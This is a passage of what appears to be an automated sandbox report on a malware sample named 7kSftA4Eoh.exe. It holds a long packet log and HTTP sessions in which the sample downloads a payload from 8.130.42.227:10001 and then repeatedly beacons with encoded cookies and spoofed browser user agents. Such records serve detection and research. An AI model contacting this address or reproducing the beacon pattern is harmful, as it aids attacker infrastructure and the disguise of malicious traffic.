Oct 1, 2024 09:20:40.071238041 CEST	10001	49921	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:40.071258068 CEST	10001	49921	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:40.072859049 CEST	49921	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:40.072859049 CEST	49921	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:40.077713013 CEST	10001	49921	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:40.180711031 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:40.185560942 CEST	10001	49922	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:40.188755035 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:40.188918114 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:40.193634987 CEST	10001	49922	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:41.148650885 CEST	10001	49922	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:41.148680925 CEST	10001	49922	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:41.148706913 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.148756027 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.148879051 CEST	49922	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.153623104 CEST	10001	49922	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:41.265944004 CEST	49923	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.270796061 CEST	10001	49923	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:41.270855904 CEST	49923	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.271111965 CEST	49923	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:41.275892019 CEST	10001	49923	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:42.227127075 CEST	10001	49923	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:42.227142096 CEST	10001	49923	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:42.228856087 CEST	49923	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:42.228856087 CEST	49923	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:42.233665943 CEST	10001	49923	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:42.336700916 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:42.341578960 CEST	10001	49924	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:42.344750881 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:42.344918013 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:42.349898100 CEST	10001	49924	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:43.308608055 CEST	10001	49924	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:43.308625937 CEST	10001	49924	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:43.308659077 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.308690071 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.308806896 CEST	49924	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.313503027 CEST	10001	49924	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:43.415663004 CEST	49925	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.421137094 CEST	10001	49925	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:43.421247005 CEST	49925	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.421344042 CEST	49925	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:43.426055908 CEST	10001	49925	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:44.386923075 CEST	10001	49925	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:44.386986017 CEST	10001	49925	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:44.388802052 CEST	49925	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:44.389024019 CEST	49925	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:44.393793106 CEST	10001	49925	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:44.492717028 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:44.497526884 CEST	10001	49926	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:44.500859976 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:44.500859976 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:44.505661011 CEST	10001	49926	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:45.452908039 CEST	10001	49926	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:45.452970982 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.453058958 CEST	10001	49926	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:45.453104019 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.453210115 CEST	49926	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.457895041 CEST	10001	49926	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:45.571404934 CEST	49927	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.576431036 CEST	10001	49927	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:45.576527119 CEST	49927	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.576729059 CEST	49927	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:45.581660986 CEST	10001	49927	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:46.529201031 CEST	10001	49927	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:46.529232025 CEST	10001	49927	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:46.532833099 CEST	49927	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:46.532833099 CEST	49927	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:46.537642002 CEST	10001	49927	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:46.652708054 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:46.657515049 CEST	10001	49928	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:46.660891056 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:46.660891056 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:46.665798903 CEST	10001	49928	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:47.631664991 CEST	10001	49928	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:47.631726027 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.631743908 CEST	10001	49928	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:47.631794930 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.631911039 CEST	49928	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.636615992 CEST	10001	49928	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:47.743280888 CEST	49929	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.748182058 CEST	10001	49929	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:47.748256922 CEST	49929	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.748441935 CEST	49929	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:47.753249884 CEST	10001	49929	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:48.724741936 CEST	10001	49929	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:48.724790096 CEST	10001	49929	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:48.726980925 CEST	49929	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:48.726982117 CEST	49929	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:48.731848955 CEST	10001	49929	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:48.838957071 CEST	49930	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:48.843815088 CEST	10001	49930	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:48.843894005 CEST	49930	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:48.844101906 CEST	49930	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:48.848805904 CEST	10001	49930	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:49.782494068 CEST	10001	49930	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:49.782510042 CEST	10001	49930	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:49.782566071 CEST	49930	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:49.782712936 CEST	49930	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:49.787436008 CEST	10001	49930	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:49.900711060 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:49.905781984 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:49.908862114 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:49.908862114 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:49.913795948 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:50.868977070 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:50.869026899 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:50.870996952 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:50.871037960 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:50.977874041 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:50.978387117 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.287494898 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.898752928 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.975265026 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.992496014 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:51.992517948 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:51.992526054 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:51.992532969 CEST	10001	49931	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:51.992541075 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:51.992662907 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.992664099 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.992662907 CEST	49931	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.992800951 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.992800951 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:51.997648001 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:52.939094067 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:52.939150095 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:52.939166069 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:52.939208984 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:52.939413071 CEST	49932	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:52.944113970 CEST	10001	49932	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:53.055826902 CEST	49933	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:53.060834885 CEST	10001	49933	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:53.060906887 CEST	49933	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:53.061053991 CEST	49933	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:53.065798998 CEST	10001	49933	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:54.009251118 CEST	10001	49933	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:54.009269953 CEST	10001	49933	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:54.010942936 CEST	49933	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:54.010942936 CEST	49933	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:54.017225027 CEST	10001	49933	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:54.119138002 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:54.123985052 CEST	10001	49934	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:54.127598047 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:54.127598047 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:54.132437944 CEST	10001	49934	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:55.078138113 CEST	10001	49934	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:55.078196049 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.078206062 CEST	10001	49934	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:55.078249931 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.078380108 CEST	49934	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.083523989 CEST	10001	49934	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:55.196722031 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.333872080 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:55.333950043 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.334223032 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:55.338924885 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.315500021 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.315516949 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.315525055 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.320815086 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.353562117 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.502731085 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.529200077 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.529278994 CEST	10001	49935	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.529290915 CEST	10001	49936	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:56.529372931 CEST	49935	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.529375076 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.536772013 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:56.541579008 CEST	10001	49936	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:57.479665995 CEST	10001	49936	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:57.479718924 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.479739904 CEST	10001	49936	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:57.479779005 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.479902983 CEST	49936	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.484652042 CEST	10001	49936	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:57.587357044 CEST	49937	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.592228889 CEST	10001	49937	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:57.592293024 CEST	49937	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.592443943 CEST	49937	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:57.597209930 CEST	10001	49937	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:58.539206982 CEST	10001	49937	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:58.539222956 CEST	10001	49937	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:58.539468050 CEST	49937	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:58.539468050 CEST	49937	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:58.544347048 CEST	10001	49937	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:58.652718067 CEST	49938	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:58.657535076 CEST	10001	49938	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:58.660924911 CEST	49938	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:58.660924911 CEST	49938	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:58.665770054 CEST	10001	49938	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:59.608714104 CEST	10001	49938	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:59.608764887 CEST	10001	49938	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:59.608844042 CEST	49938	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:59.610126019 CEST	49938	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:59.614833117 CEST	10001	49938	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:59.728813887 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:59.733604908 CEST	10001	49939	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:59.733663082 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:59.733863115 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:59.739005089 CEST	10001	49939	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:00.694813013 CEST	10001	49939	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:00.694859982 CEST	10001	49939	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:00.694909096 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.694951057 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.695050001 CEST	49939	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.699815989 CEST	10001	49939	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:00.805023909 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.809825897 CEST	10001	49940	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:00.809911966 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.812725067 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:00.817611933 CEST	10001	49940	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:01.773719072 CEST	10001	49940	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:01.773785114 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:01.773866892 CEST	10001	49940	8.130.42.227	192.168.2.4
Oct 1, 2024 09:21:01.773905993 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:02.040728092 CEST	49940	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:21:02.046310902 CEST	10001	49940	8.130.42.227	192.168.2.4

HTTP Request Dependency Graph

8.130.42.227:10001

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:16:57.838449955 CEST	187	OUT	GET /2yMe HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:16:58.781096935 CEST	119	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:16:58 GMT Content-Type: application/octet-stream Content-Length: 277063

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:16:59.805041075 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:00.947107077 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:00 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:01.261580944 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:02.228874922 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:02 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:02.339623928 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:03.309341908 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:03 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:03.417782068 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:04.365963936 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:04 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:04.561846972 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:05.519514084 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:05 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:05.636363983 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:06.606287003 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:06 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:06.714562893 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:07.666435957 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:07 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:07.777250051 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:08.719686985 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:08 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:08.840127945 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
